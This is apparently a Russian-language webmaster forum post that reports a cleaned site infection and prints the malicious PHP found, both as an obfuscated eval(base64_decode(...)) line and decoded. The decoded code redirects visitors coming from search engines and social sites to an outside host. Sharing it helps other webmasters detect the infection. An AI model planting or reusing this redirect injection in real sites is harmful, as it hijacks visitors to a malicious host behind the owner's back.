Тема #25569

Вирус удален
Просьба проверить
http://u.to/00j-
Перейдите на первый сайт. Вас не должно перекидывать на другой сайт... может временно показываться сообщение от гугла(опасый сайт)

Вот зашифроманый код вируса. Вебмастера гляньте у себя.
evаl(base64_decode("CgplcnJvcl9yZXBvcnRpbmcoMCk7CiRuY2N2PWhlYWRlcnNfc2VudCgpOwppZ
iAoISRuY2N2KXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwoKaWYgKHN0cmlzdHIoJ
HJlZmVyZXIsInR3aXR0ZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yI
HN0cmlzdHIoJHJlZmVyZXIsImdvb2dsZSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm
JpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhc2suY29tIikgb3Igc3RyaXN0c
igkcmVmZXJlciwibXNuIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZSIpIG9
yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rIikpIHsKCWlmICghc3RyaXN0c
igkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cm
wiKSl7CQkKCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbGF2YW5kYS4zND
UucGwvIik7CgkJZXhpdCgpOwoJfQp9Cn0="));

После раскодирования(http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/)
Получился вот такой код
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];

if (stristr($referer,"twitter") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live") or stristr($referer,"facebook")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://lavanda.345.pl/");
exit();
}
}
}
Если приглядеться то вирус активируется толкьо с поисковиков "bing ask.com live msn google", а значит не русского происхождения:)